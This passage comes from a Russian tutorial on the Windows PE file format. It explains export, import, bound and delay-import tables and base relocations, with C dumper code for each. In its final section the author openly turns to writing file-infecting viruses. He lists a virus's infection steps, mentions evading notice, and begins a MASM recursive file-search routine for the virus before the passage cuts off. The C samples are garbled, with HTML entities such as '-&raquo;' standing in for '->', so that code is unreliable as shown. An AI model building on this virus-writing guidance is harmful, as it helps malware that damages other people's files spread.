  18.     AddressOfNames=(DWORD*)((long)AddressOfNames+(long)hMap);
  19.  
  20.     DWORD* AddressOfFunctions=(unsigned long *)
  21.            RVAtoOffset((long)hMap,Export-&raquo;AddressOfFunctions);
  22.     AddressOfFunctions=(DWORD*)((long)AddressOfFunctions+(long)hMap);
  23.  
  24.     WORD index;
  25.     printf("%4s      %-40s       %s\n-------------------------------------".
  26.            "----------------------------------\n","Ordinal","NameOfFunctions",
  27.            "EntryPoint");
  28.     for (unsigned int i=0;i&laquo;Export-&raquo;NumberOfFunctions-1;i++)
  29.     {
  30.         index=0xFFFF;
  31.         for (unsigned int j=0;j&laquo;Export-&raquo;NumberOfNames;j++)
  32.         {
  33.             if (AddressOfNameOrdinals[j]==(i+Export-&raquo;Base))
  34.             {
  35.                 index=j;continue;
  36.             }
  37.         }
  38.         if ((AddressOfFunctions[i]&raquo;=
  39.              pPE-&raquo;OptionalHeader.DataDirectory[0].VirtualAddress)&amp;&amp;
  40.              (AddressOfFunctions[i]&laquo;=
  41.              pPE-&raquo;OptionalHeader.DataDirectory[0].VirtualAddress+pPE -&raquo;
  42.              OptionalHeader.DataDirectory[0].Size))
  43.         {
  44.             if (index!=0xFFFF) printf("%4d         |%-35s       |Forw-&raquo;%s\n",
  45.                i+Export-&raquo;Base,(long)hMap+RVAtoOffset((long)hMap,
  46.                AddressOfNames[index]),(long)hMap+RVAtoOffset((long)hMap,
  47.                AddressOfFunctions[i]));
  48.             else printf("%4d         |OrdinalOnly       |Forw-&raquo;%s\n",
  49.                i+Export-&raquo;Base,(long)hMap+RVAtoOffset((long)hMap,
  50.                AddressOfNames[index]),(long)hMap+RVAtoOffset((long)hMap,
  51.                AddressOfFunctions[i]));
  52.         }
  53.         if (index!=0xFFFF) printf("%4d         |%-35s       |%X\n",
  54.             i+Export-&raquo;Base,(long)hMap+RVAtoOffset((long)hMap,
  55.             AddressOfNames[index]),AddressOfFunctions[i]);
  56.         else printf("%4d         |OrdinalOnly       |%X\n",
  57.              i+Export-&raquo;Base,AddressOfFunctions[i]);
  58.     }
  59. }

Таблица импорта

Импорт в PE-файлах – это механизм позволяющий использовать функции или переменные из модулей отличных от данного. Если наша программа вызывает функцию GetMessage, которая находиться в библиотеке KERNEL32.DLL, то вместо инструкции CALL используется инструкция JMPDWORDPTR [XXXXXXXX]. Адрес указанный как XXXXXXXXнаходиться где-то в таблице импорта. Посмотрите на рисунок, и Вы все поймете:

Это очень удачное решение – хранить адрес функции в одном месте. Если DLLзагрузиться по определенному адресу, то загрузчику необходимо изменить только адрес функции в таблице импорта, а не каждый вызов данной функции.

Директория импорта и таблица импорта есть понятия эквивалентные, так что имейте это ввиду при  чтении других авторов.

Импорт PE-файлов может происходить четырьмя различными способами. Повеселимся над этими механизмами и терминами, используемыми при импорте функций PE-файла. Импорт файлов - это первая вещь, которая действительно интересна.

Структуры и термины импорта

Когда загружается исполняемый файл, то загрузчик использует таблицу импорта, чтобы узнать какие функции импортирует данный модуль. Потом загрузчик загружает библиотеки содержащие данные функции, если они не загружены, с помощью функции LoadLibrary. LoadLibraryвозвращает адрес библиотеки в адресном пространстве текущего процесса. Чтобы получить адрес функции надо использовать функцию GetProcAddress. Ей передается имя функции и базовый адрес библиотеки. Т.о. в таблицу импорта добавляются адреса нужных функций при загрузке, а потом используются после загрузки. В некоторых библиотеках адреса функций уже имеются, это сделано в целях оптимизации, но об этом немного позже (в разделе «Биндинг»).

Таблица импорта начинается с массива элементов типа IMAGE_IMPORT_DESCRIPTOR. Количество элементов массива нигде не указывается, но вместо этого первый элемент последнего члена массива -  нулевой. Каждый элемент соответствует DLL,из которой импортируют функции. Каждый элемент выглядит следующим образом:

Код (Text):
  1.  
  2. typedef struct _IMAGE_IMPORT_DESCRIPTOR {
  3.     union {
  4.         DWORD   Characteristics;            // 0 for terminating null import descriptor
  5.         DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
  6.     };
  7.     DWORD   TimeDateStamp;                  // 0 if not bound,
  8.                                             // -1 if bound, and real date\time stamp
  9.                                             //   in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
  10.                                             // O.W. date/time stamp of DLL bound to (Old BIND)
  11.  
  12.     DWORD   ForwarderChain;                 // -1 if no forwarders
  13.     DWORD   Name;
  14.     DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
  15. } IMAGE_IMPORT_DESCRIPTOR;
  16. typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

Опишем поля этой структуры по порядку.

Код (Text):
  1.  
  2.     union {
  3.         DWORD   Characteristics;            // 0 for terminating null import descriptor
  4.         DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
  5.     };

Это поле содержит RVAмассива двойных слов. Каждый элемент этого массива является объединением  IMAGE_THUNK_DATA32 и соответствует функции PE-файла соответствующего элементу IMAGE_IMPORT_DESCRIPTOR. Это поле равно нулю, если это последний элемент в массиве элементов типа IMAGE_IMPORT_DESCRIPTOR. Это поле должно быть больше SizeOfHeaders и меньше либо равно SizeOfImage, иначе файл загружен не будет.

DWORD   TimeDateStamp;

Временная отметка, когда был создан данный файл. От этого поля зависит, как загрузчик будет обрабатывать импорт данного файла. Если оно равно нулю, то загрузчик обрабатывает таблицу импорта как надо, т.е. используя стандартный механизм. Если она равна -1, то загрузчик не смотрит на массивы OriginalFirstThunk и FirstThunk, а полагает, что данная библиотека импортируется через Bound-импорт (о нем позже). Если TimeDateStampобозначает временную метку, то если она равна временной метке импортируемой DLL, загрузчик просто проецирует ее на адресное пространство процесса, не настраивая таблицу адресов IAT. Если штамп времени есть, но он не совпадает с штампом DLL, то загрузчик настраивает таблицу как обычно. Т.о. предполагается, что адреса функций заданы во время компиляции, т.е. используется «биндинг» (подробнее об этом ниже).

DWORD   ForwarderChain;

Это поле связано с передачей экспорта, описанного выше. Это поле содержит индекс в массиве FirstThunk. Функция указанная этим полем, будет послана в другую DLL. Загрузчик не проверяет это поле, так что оно может иметь любой значение.

DWORD   Name;

Имя DLL, откуда импортируются функции.

DWORD   FirstThunk;

RVAмассива двойных слов. Каждый элемент массива типа IMAGE_THUNK_DATA32. Об этом типе далее.

В структуре IMAGE_IMPORT_DESCRIPTOR содержатся указатели на массивы элементов типа IMAGE_THUNK_DATA. Эти массивы называются таблицами адресов импорта (IAT – importaddresstable). Вообще, т.к. массив OriginalFirstThunkне патчится загрузчиком, то только FirstThunkсчитается настоящей таблицей адресов импорта – IAT.

Теперь необходимо описать двойное слово IMAGE_THUNK_DATA. Он определено следующим образом:

Код (Text):
  1.  
  2. typedef struct _IMAGE_THUNK_DATA32 {
  3.     union {
  4.         DWORD ForwarderString;      // PBYTE
  5.         DWORD Function;             // PDWORD
  6.         DWORD Ordinal;
  7.         DWORD AddressOfData;        // PIMAGE_IMPORT_BY_NAME
  8.     } u1;
  9. } IMAGE_THUNK_DATA32;

Это двойное слово соответствует одной импортируемой функции. Это двойное слово отличается,  если файл был загружен в память или была ли функция импортирована по имени или по номеру. Если функция импортируется по номеру (ординалу), старший бит двойного слова устанавливается в 1. Импорт по ординалу производиться очень редко. Мы должны убрать эту единицу в последнем разряде и использовать полученное значение как ординал.

Если происходит импорт по имени, то двойное слово содержит RVAструктуры IMAGE_IMPORT_BY_NAME. Эта структура определена следующим образом:

Код (Text):
  1.  
  2. typedef struct _IMAGE_IMPORT_BY_NAME {
  3.     WORD    Hint;
  4.     BYTE    Name[1];
  5. } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

WORD    Hint;

Укороченный идентификатор точки входа.

BYTE    Name[?];

Название импортированной функции.

Стандартный механизм импорта

В таблице импорта вначале идет массив из элементов типа IMAGE_IMPORT_DESCRIPTOR. Каждый элемент соответствует одной DLLиз которой импортируются функции. Самыми главными частями IMAGE_IMPORT_DESCRIPTORявляются имя DLLи два массива элементов типа IMAGE_THUNK_DATA32. В принципе они эквивалентны и идут параллельно. Но есть определенная логическая нагрузка на один и второй массивы. Конец массива IMAGE_THUNK_DATA32 определяется нулевым DWORD’ом. Первый массив – OriginalFirstThunk, остается неизменным при загрузке. Второй массив - FirstThunk правиться при запуске программы, загрузчиком. Вот он содержит адреса всех импортируемых функций. Вообще поле OriginalFirstThunk может быть любым и не используется загрузчиком. Для системных DLLмассив OriginalFirstThunk сразу содержит адреса импортируемых функций. Т.е. для таких DLL, массив OriginalFirstThunk содержит не элемент IMAGE_THUNK_DATA32, а уже адрес для импортируемой функции данным модулем. Второй массив содержит, если функция импортируется по имени, RVAна структуру IMAGE_IMPORT_BY_NAME. Эта структура, содержит имя нужной функции. Сначала загрузчик просматривает массив IMAGE_IMPORT_DESCRIPTOR и проецирует в адресное пространство текущего процесса нужные модули, содержащие импортируемые функции. Далее загрузчик просматривает массив из IMAGE_THUNK_DATA32 и вызывает для каждого имени GetProcAddress. После вызова GetProcAddressвозвращает адрес точки входа в функцию. Этот адрес записывается на место, где был RVAIMAGE_IMPORT_BY_NAME. Точно также происходит импорт по ординалу, только GetProcAddressпередается не указатель на имя функции, а ординал. Если импортируется переданная функция, то в DWORD’е массива FirstThunkсодержиться указатель на строку форвардной функции. Все эти действия ведутся с массивом имен FirstThunk. Массив OriginalFirstThunkостается прежним. Линкеры фирмы Borlandделают массив OriginalFirstThunkнулевым, что можно считать ошибкой, но мы должны с ней считаться.

Пример работы с таблицей импорта

Посмотрите код, который выводит на экран всю таблицу импорта. Вы должны спроецировать PE-файл с помощью CreateFile->CreateFileMapping->MapViewOfFile. В hMap передайте значение возвращенное MapViewOfFile.

Код (Text):
  1.  
  2. void printImportTable(long hMap)
  3. {
  4.     PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
  5.     PIMAGE_IMPORT_DESCRIPTOR Import=(PIMAGE_IMPORT_DESCRIPTOR)
  6.        (RVAtoOffset((long)hMap,
  7.        pPE-&raquo;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
  8.             VirtualAddress)+(long)hMap);
  9.     IMAGE_THUNK_DATA32* Thunk;
  10.     PIMAGE_IMPORT_BY_NAME ImportName;
  11.     int x=0;
  12.     while (Import-&raquo;Characteristics!=0)
  13.     {
  14.         x++;
  15.         printf("--------Library: %s-----------\n TimeDateStamp:
  16.                %X\n ForwardedChain:%X\n OriginalFirstThunk:%X\n FirstThunk:
  17.                %X\n",RVAtoOffset((long)hMap,Import-&raquo;Name)+(long)hMap,
  18.                Import-&raquo;TimeDateStamp,Import-&raquo;ForwarderChain,
  19.                Import-&raquo;OriginalFirstThunk,Import-&raquo;FirstThunk);
  20.         Thunk=(IMAGE_THUNK_DATA32*)(RVAtoOffset((long)hMap,
  21.               Import-&raquo;OriginalFirstThunk)+(long)hMap);
  22.         while (Thunk-&raquo;u1.Ordinal!=0)
  23.         {
  24.             if (  ( (Thunk-&raquo;u1.Ordinal) & 0x80000000)!=0)
  25.             {
  26.                 printf("Ordinal: %X\n",
  27.                        (long)(IMAGE_THUNK_DATA32*)Thunk-&raquo;u1.Ordinal);
  28.             }
  29.             else
  30.             {
  31.                 ImportName=(PIMAGE_IMPORT_BY_NAME)(RVAtoOffset((long)hMap,
  32.                            (long)(Thunk-&raquo;u1.AddressOfData))+(long)(hMap));
  33.                 printf("NameOfFunction:%s\n",&amp;(ImportName-&raquo;Name));
  34.             }
  35.             Thunk++;
  36.         }
  37.         Import++;
  38.     }
  39. }

Биндинг

Компанией Microsoft была создана утилита, которая называется BIND. Ей на вход подается PE-файл, а она записывает в массив OriginalFirstThunk, таблицы импорта данного файла, адреса функций которые данный PE-файл использует. Такая операция называется биндингом (binding) и служит в целях оптимизации процесса загрузки исполняемого файла. Естьдвавидабиндинга – OLD STYLE BINDING иNEW STYLE BINDING.

ВначалеобOLD STYLE BINDING. Адреса функций таблицы импорта уже известны до загрузки программы. Загрузчик файла смотрит на поле TimeDateStamp структуры IMAGE_IMPORT_DESCRIPTOR. Если это поле равно полю TimeDateStampтой DLL, из которой импортируются функции, то адреса импортированных функций не изменяются и загрузчик ничего не делает, т.к. правильные адреса уже находятся в модуле. Если поля TimeDateStamp в DLLи в таблице импорта не равны, то загрузчик патчит адреса импортированных функций с помощью стандартного механизма. Поле TimeDateStampтребуемой DLLможет иметь значение 0, что происходит, если для данной функции не было биндинга. В этом случае загрузчик пропатчит все адреса импортируемых функций, для которых поле TimeDateStampравно нулю. Если DLLбыла загружена не по своему предпочтительному адресу, то также происходит патч соответствующих адресов функций.

Если DLLэкспортирует функцию, код которой находиться в другой DLL, т.е. при передаче экспорта, то используется поле ForwarderChainструктуры IMAGE_IMPORT_DESCRIPTOR. Поле ForwarderChainсодержит индекс в массиве FirstThunk первого импортируемого форварда. Если переданная функция – последняя, то это значение элемента соответствующего данному индексу равно   -1. Если это не последний форвард в цепочке, то элемент содержит следующий индекс в этом же массиве. Т.о. происходит проход по цепочке переданных функций и заполнение адресами соответствующих двойных слов массива FirstThunk. Т.к. у нас есть параллельный массив - OriginalFirstThunk, то мы используем информацию из него об именах форвардных функций. Обратите внимание, то массив OriginalFirstThunkобязан быть не нулевым, чтобы использовать биндинг форвардных функций. Если утилите BIND передается PE-файл в котором нулевой массив OriginalFirstThunk, то она отказывается обрабатывать такой файл.

            Теперь о NEW STYLE BINDING. Перед загрузкой файла в массиве элементов типа IMAGE_THUNK_DATA уже также содержатся адреса импортируемых функций. Изменится механизм импорта переданных функций.  При NEWSTYLEBINDING поля TimeDateStampи ForwarderChain для DLL, из которых происходит экспорт форвардов, равны -1. Загрузчик ориентируется на эти значения -1, и использует директорию bound-импорта, где содержится информация о форвардных функциях.

Bound-импорт

Bound-импорт называют также - привязанный импорт. В массиве DataDirectoryэлемент с индексом 11 соответствует директории отложенного импорта. Отложенный импорт используется при NEWSTYLEBINDING. Используя bound-импорт можно также оптимизировать процесс загрузки, т.к. есть возможность не пропатчивать, даже адреса, переданных функций. С этой директорией связан массив структур IMAGE_BOUND_IMPORT_DESCRIPTOR, каждая из которых определена следующим образом:

Код (Text):
  1.  
  2. typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR {
  3.     DWORD   TimeDateStamp;
  4.     WORD    OffsetModuleName;
  5.     WORD    NumberOfModuleForwarderRefs;
  6. // Array of zero or more IMAGE_BOUND_FORWARDER_REF follows
  7. } IMAGE_BOUND_IMPORT_DESCRIPTOR,  *PIMAGE_BOUND_IMPORT_DESCRIPTOR;

DWORD   TimeDateStamp;

Временная метка. Она нужна для того, чтобы узнать не изменилась версия DLL, к которой привязаны адреса. Если это значение совпадает со значением временного штампа у библиотеки все отлично, т.е. не надо патчить переданные функции, иначе будет использоваться стандартный механизм импорта. Нулевое значение времени соответствует любому времени.

WORD    OffsetModuleName;

Смещение имени DLL, начиная от начала данной директории. Именно смещение, а не RVA!

WORD    NumberOfModuleForwarderRefs;

Счетчик – указатель количества структур типа IMAGE_BOUND_FORWARDER_REF, которые следуют после данной структуры. Строение их такое, как и у IMAGE_BOUND_IMPORT_DESCRIPTOR, только поле NumberOfModuleForwarderRefs зарезервировано.

Пример работы с Bound-импортом

Код (Text):
  1.  
  2. void printBoundImport(long hMap)
  3. {
  4.     PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
  5.     PIMAGE_BOUND_IMPORT_DESCRIPTOR Bound=(PIMAGE_BOUND_IMPORT_DESCRIPTOR)
  6.         (RVAtoOffset((long)hMap,
  7.         pPE-&raquo;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].
  8.              VirtualAddress)+(long)hMap);
  9.     printf("DLL Name:%s TimeDateStamp:%X",(long)Bound+(long)
  10.            (Bound-&raquo;OffsetModuleName),Bound-&raquo;TimeDateStamp);
  11.     for (int i=0;i&laquo;Bound-&raquo;NumberOfModuleForwarderRefs;i++)
  12.     {
  13.         Bound++;
  14.         printf("DLL Name:%s TimeDateStamp:%X\n",
  15.               (long)Bound+(long)(Bound-&raquo;OffsetModuleName),
  16.               Bound-&raquo;TimeDateStamp);
  17.     }
  18. }

Delay-импорт

Delay-импорт, называется также, - отложенный импорт. Delay-импорт – это промежуточный подход между неявным импортом и явным импортом с помощью LoadLibrary/GetProcAddress. Механизм отложенного импорта – это не свойство операционной  системы, это дополнительный код в Вашей программе, с помощью которого оптимизируется импорт API-функций. Этот дополнительный код называется – DelayHelper. Если Ваша программа запускает впервые API-функцию, то код Delay-импорта вызывает LoadLibraryи GetProcAddress. Адрес впервые вызванной функции будет сохранен в таблице импортированных функций отложенного импорта. На данные имеющие отношение к отложенному импорту указывает запись номер IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   в таблице директорий. RVAв DataDirectoryуказывает на массив структур ImgDelayDescr. Эта структура определена в заголовочном файле DELAYIMP.H. Вот ее вид:

Код (Text):
  1.  
  2. typedef struct ImgDelayDescr {
  3.     DWORD           grAttrs;        // attributes
  4.     LPCSTR          szName;         // pointer to dll name
  5.     HMODULE *       phmod;          // address of module handle
  6.     PImgThunkData   pIAT;           // address of the IAT
  7.     PCImgThunkData  pINT;           // address of the INT
  8.     PCImgThunkData  pBoundIAT;      // address of the optional bound IAT
  9.     PCImgThunkData  pUnloadIAT;     // address of optional copy of original IAT
  10.     DWORD           dwTimeStamp;    // 0 if not bound,
  11.                                     // O.W. date/time stamp of DLL bound to (Old BIND)
  12.     } ImgDelayDescr, * PImgDelayDescr;

Каждая структура соответствует одной DLLимпортированной с помощью отложенного импорта. В данном массиве присутствует указатель на массив IAT, идентичный массиву, используемому в стандартном механизме импорта, а также массив таблицы импортируемых имен INT (ImportNameTable). В IAT помещаются адреса при первом вызове соответствующей функции. Рассмотрим все поле структуры по порядку:

DWORD           grAttrs;

Это поле указывает на тип адресации, применяющийся в структурах Delay-импорта. Если это поле равно 1, то адреса – RVA, если – 0, то VA.

LPCSTR          szName;

Указатель RVA/VAна ASCIIZ-строку с именем загружаемой DLL.

HMODULE *       phmod

В файле это поле может быть любым. Но при загрузке, лоадер помещает в него описатель DLL.

PImgThunkData   pIAT;

RVA/VA-указатель на таблицу импортированных адресов (IAT). Если это значение равно нулю, то это последний элемент массива.

PCImgThunkData  pINT;

RVA/VA-указатель на таблицу имен функций (INT). Если это значение равно нулю, то это последний элемент массива.

PCImgThunkData  pBoundIAT;

RVA/VA-указатель на таблицу адресов функций Bound-импорта.

PCImgThunkData  pUnloadIAT;

Когда DLLвыгружается из памяти, то она имеет возможность восстановить таблицу адресов отложенного импорта в исходное состояние, обратившись к ее оригинальной копии. Указатель на оригинальную копию находиться в данном поле. Это аналог массива OriginalFirstThunk.

DWORD           dwTimeStamp;

Временная метка. Возможно не проходить по всем функциям для данной библиотеки. Если временная метка не пуста и таблица Bound-импорта не пуста, то загрузчик не будет заполнять IAT, а воспользуется таблицей bound-IAT. В данном случае здесь таблица bound-импорта отдельная и она используется в поддержку delay-импорта.

Пример работы с Delay-импортом

Представляю Вашему вниманию, пример процедуры – дампера таблицы отложенного импорта:

Код (Text):
  1.  
  2. void printDelayImport(long hMap)
  3. {
  4.     PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
  5.     PImgDelayDescr Delay=(PImgDelayDescr)(RVAtoOffset((long)hMap,
  6.          pPE-&raquo;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].
  7.          VirtualAddress)+(long)hMap);
  8.     while (Delay-&raquo;pIAT!=0)
  9.     {
  10.         if (Delay-&raquo;grAttrs==1)
  11.         {
  12.             printf("-------%s-------\n",
  13.                   RVAtoOffset((long)hMap,(long)(Delay-&raquo;szName))+(long)hMap);
  14.             printf("Attrib: %X\nTimeDateStamp: %X\nImport Address Table:
  15.                    %X\nImport Name Table: %X\nBound IAT: %X\nUnload IAT:%X\n",
  16.                    Delay-&raquo;grAttrs,Delay-&raquo;dwTimeStamp,Delay-&raquo;pIAT,Delay-&raquo;pINT,
  17.                    Delay-&raquo;pBoundIAT,Delay-&raquo;pUnloadIAT);
  18.  
  19.         }
  20.         else
  21.         {
  22.             printf("-------%s-------\n",RVAtoOffset((long)hMap,
  23.                   (long)(Delay-&raquo;szName-pPE-&raquo;OptionalHeader.ImageBase))+(long)hMap);
  24.             printf("Attrib: %X\nTimeDateStamp: %X\nImport Address Table:
  25.                    %X\nImport Name Table: %X\nBound IAT: %X\nUnload IAT:%X\n",
  26.                    Delay-&raquo;grAttrs,Delay-&raquo;dwTimeStamp,Delay-&raquo;pIAT,Delay-&raquo;pINT,
  27.                    Delay-&raquo;pBoundIAT,Delay-&raquo;pUnloadIAT);
  28.         }
  29.         Delay++;
  30.     }
  31. }

Особенности импорта на конкретных реализациях загрузчиков

В разных ОС импорт может быть реализован по-разному. Механизмов – целых 3! И загрузчик вправе выбирать, какой из них, и в каком порядке, в случае провала, будет использован. Загрузчик, например, может сразу просмотреть цепочку директорий и сразу перейти к bound-импорту. Если он валиден, то использовать его для импорта. Если он не корректный, то перейти к стандартному механизму импорта. Т.о., в зависимости от ОС, загрузчик в праве выбирать какой механизм импорта ему использовать. В любом случае Вы можете узнать, как происходит импорт, исследуя поведение загрузчика с помощью дизассемблирования. Но если мы хотим сделать переносимый вирус, то на эти особенности полагаться ни в коем случае нельзя.

Базовые поправки

Если PE-файл не загружается по ImageBase, то применяются базовые поправки. Для данной секции применим особый термин – дельта. Дельта - это разница по модулю между базовым адресом для PE-файла и значением ImageBaseв опциональном заголовке. Если файл загрузился по базовому адресу, то базовые поправки не нужны. Чаще EXEфайл грузится по своему базовому адресу, но DLLобычно – нет. Базовые поправки – это набор смещений, по которым нужно прибавить дельту. Для базовых поправок часто выделяется отдельная секция .reloc, но они также могут не иметь отдельной секции, а быть частью какой-либо секции. Поправки упаковываются сериями смежных кусков различной длины. Каждый кусок описывает поправки для одной четырехкилобайтовой страницы. Секция базовых поправок начинается с массива структур IMAGE_BASE_RELOCATION, которая выглядит следующим образом:

Код (Text):
  1.  
  2. typedef struct _IMAGE_BASE_RELOCATION {
  3.     DWORD   VirtualAddress;
  4.     DWORD   SizeOfBlock;
  5.    // WORD    TypeOffset[1];
  6. } IMAGE_BASE_RELOCATION;
  7. typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

DWORD   VirtualAddress;

НачальныйRVA дляданногокускапоправок. Смещение каждой поправки, которая следует дальше, добавляется к данной величине для получения RVA, для которого должна быть применена поправка. 

DWORD   SizeOfBlock;

Размер данной поправки + все последующие поправки типа WORD. Можно определить количество поправок в данном блоке с помощью формулы

(6)                                           X = (SizeOfBlock – sizeof(IMAGE_BASE_RELOCATION))/2

WORD    TypeOffset

Это не одно слово, а массив слов, количество элементов в котором вычисляется с помощью формулы (6). 12 младших разрядов каждого из этих слов представляют поправочное смещение, которое должно быть прибавлено к значению из поля VirtualAddressиз данного блока поправок. 4 старших разряда – тип поправки. Для процессоров Intelдля типа поправки есть единственное возможное значение – IMAGE_REL_BASED_HIGHLOW. При данном значении к двойному слову по вычисленному адресу смещения прибавляется дельта.

Пример работы с базовыми поправками

Процедура предполагает, что все поправки типа IMAGE_REL_BASED_HIGHLOW.

Код (Text):
  1.  
  2. void printRelocTable(long hMap)
  3. {
  4.     PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
  5.     PIMAGE_BASE_RELOCATION Reloc=(PIMAGE_BASE_RELOCATION)
  6.     (RVAtoOffset((long)hMap,
  7.     pPE-&raquo;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
  8.          VirtualAddress)+(long)hMap);
  9.     while (Reloc-&raquo;VirtualAddress!=0)
  10.     {
  11.         int number=(Reloc-&raquo;SizeOfBlock-8)/2;
  12.         WORD* Rel=(WORD *)((long)Reloc+8);
  13.         printf("Virtual Address: %X\nNumber of Relocation:Relocation\n",
  14.                Reloc-&raquo;VirtualAddress);
  15.         for (int i=0;i&laquo;number-1;i++)
  16.         {
  17.  
  18.             printf("%d:%X\n",i,(0x0FFF)&amp;(Rel[i]));
  19.         }
  20.         Reloc=(PIMAGE_BASE_RELOCATION)((long)Reloc-&raquo;SizeOfBlock+(long)Reloc);
  21.     }
  22. }

Программа PE Inside Console Version

В рамках данной главы я также выкладываю пример работы с PE-файлами консольной программы PE Inside. Просто посмотрите, как это работает и все. Все построено на функциях и макросах и не должно вызвать у Вас проблем. Скачайте исходный код здесь (cсылка на файл PEInsideConsole.rar).

Программа PEInsidev0.5alfa

Данная программа демонстрирует работу с PE-файлами. Она была сделана в рамках написания данной главы и имеет открытый исходный код, который Вы можете использовать в своих целях. При первом запуске программа добавляет себя в контекстное меню для PE-файлов, чтобы быстро просмотреть или отредактировать поля PE-файла. Скачать программу можно здесь (ссылка на файл PEInsideBin.rar). Скачать исходный код проекта VisualC++ можно здесь (ссылка на файл PEInsideSrc.rar). Это только версия 0.5alfa и она мало чего умеет, но далее ее возможности будут расширяться.

PE64

PE64 – это расширение PE32 на случай 64-разрядной платформы. Не бойтесь, изменения между этими форматами минимальны, т.к. все что изменяется - это адреса в памяти. Поэтому все 32-разрядные поля превращаюся в 64-разрядные. В Си для адресации используется тип __int64. Но не забывайте, что в 32-х разрядных процессорах все регистры 32-разрядные по определению. Так что для работы с таким типом используются два регистра. Сами структуры в PE-файле остались прежними. Естественно изменились смещения. Все что Вам понадобиться для работы с этим форматом, так это спецификация Microsoft. А в теории Вы можете опираться на имеющиеся здесь выкладки.

Домашнее задание

Здесь я предлагаю оторваться от чтения и попробовать все прочтенное самому. Единственным способом понять все тонкости PE-формата - это трогать ручками все структуры. Попробуйте написать дамперы соответствующих структур. Откройте hex-редактор и найдите все структуры, попробуйте изменить чего-нибудь etc. Я собрал все нужные структуры в один файл и выкладываю здесь (ссылка на файл pestruct.doc). Распечатайте этот документ и повесьте у себя рядом с кроватью. Это приблизит Вас к истинному пониманию структуры PE-файлов. Очень желательно знать все смещения соответствующих структур наизусть, дабы не отстать от Мыша ;)

Способы внедрения внутрь исполняемого файла

Вот мы и добрались до самого главного, т.е. к чему стремились. Все смещения структур PE-файла мы знаем наизусть, знаем как загрузчик работаем с PE-файлами, значит можно заражать файлы. Школьники ходят в школу, учатся, кушают в столовой. Студенты с папочками и с очочками занимаются, а мы пишем вирусы, а все остальное mustdie. Здесь будут рассмотрены более или менее стандартные способы и наиболее простые.

            Мы отвлеклись. Вот стандартные действия Windows-вируса:

1)      Поиск файлов для заражения.

2)      Проверка, не заражен ли уже файл.

3)      Если нет, то заражаем.

Исходя из этих действий выдвигается новая тема. Итак…

Поиск файлов

Когда наш детеныш запускается, то он начинает поиск файлов и соответственно заражение. Обычно вирусы не заражают сразу все файлы, чтобы быть не замеченными. Сейчас мы напишем процедуру, которая ищет файлы. Если находиться директория, то для этого директории рекурсивно вызывается эта же процедура. Рекурсия – это очень интересная вещь в программировании. Мы еще будем обращаться к этому понятию. Т.к. мы программируем в 3 кольце защиты, то в этом кольце для поиска файлов используются три API-функции: FindFirstFile, FindNextFile, FindClose – соответственно начало поиска, продолжение поиска и завершение поиска. Эта процедура похожа на «Танго мастдайное». Кому надо тот понял. Процедура требует два параметра. Процедура универсальна, сохраняет все регистры. В этом примере я не стал ее оптимизировать. Все что нужно об оптимизации Вы узнаете в соответствующей главе. Но процедура не до конца доделана. Точнее говоря, файлы она ищет все, но ничего не делает с ними. Вы должны добавить всего лишь, что делать с найденными файлами. Что получить имя найденного файла используйте член структуры WIN32_FIND_DATA – cFileName. Чтобы получить путь для этого файла используйте локальную переменную Path. Она следующего вида: <Путь к файлу>F3,F3,F3,0. Где F3 и 0 – это байты. Чтобы получить нормальный путь к файлу надо убрать 3 F3 байта и слить эту строку со строкой содержащей имя файла. В примере немного позже Вы увидите, как это делается. Я добавляю эти лишние байты, для того, чтобы для следующих папок в данной, путь формировался правильно. Эти байты играют роль маски в конце, которая потом удаляется.

Код (Text):
  1.  
  2. ;#################################################################
  3. ;Процедура FindEXE рекурсивного поиска файлов
  4. ;Вход: Dir - адрес ASCIIZ-строки с именем директории где производить поиск
  5. ;   Mask2 -адрес ASCIIZ-строки "*.*",0
  6. ;#################################################################
  7. FindEXE proc Dir:DWORD, Mask2:DWORD
  8. LOCAL Find:WIN32_FIND_DATA
  9. LOCAL hFile:DWORD
  10. LOCAL Path[1000]:BYTE
  11. pushad
  12. ;#############################Обработка переданного пути##############################
  13. invoke lstrlen,Dir;вычисляем длину переданного пути
  14.  
  15. mov esi,Dir
  16. lea edi,Path
  17. mov ecx,eax
  18. rep movsb;получаем в Path - путь для поиска
  19.  
  20. lea edi,Path
  21. add edi,eax
  22. mov esi,Mask2
  23. mov ecx,5
  24. rep movsb;Path=Path+Mask+\0
  25. ;#############################Обработка переданного пути##############################
  26.  
  27. lea ebx,Find
  28. lea edi,Path
  29. invoke FindFirstFile,edi,ebx;начало поиска
  30. .IF eax!=INVALID_HANDLE_VALUE;если начало поиска удачно
  31.     mov hFile,eax
  32. invoke FindNextFile,hFile,ADDR Find;продолжение поиска
  33. .WHILE eax!=0;если продолжение поиска удачно
  34.     mov ebx,Find.dwFileAttributes
  35.     and ebx,FILE_ATTRIBUTE_DIRECTORY
  36.     lea ecx,Find.cFileName
  37.     .IF (ebx==FILE_ATTRIBUTE_DIRECTORY) && (byte ptr [ecx]!='.')
  38.         lea ebx,Path
  39. ;####################Удаляем '\*.*'#########################################
  40.         push ebx
  41.         push ebx
  42.         call lstrlen
  43.         pop ebx
  44.         add ebx,eax
  45.         sub ebx,3
  46.         mov edi,ebx
  47.         mov eax,0
  48.         mov ecx,3
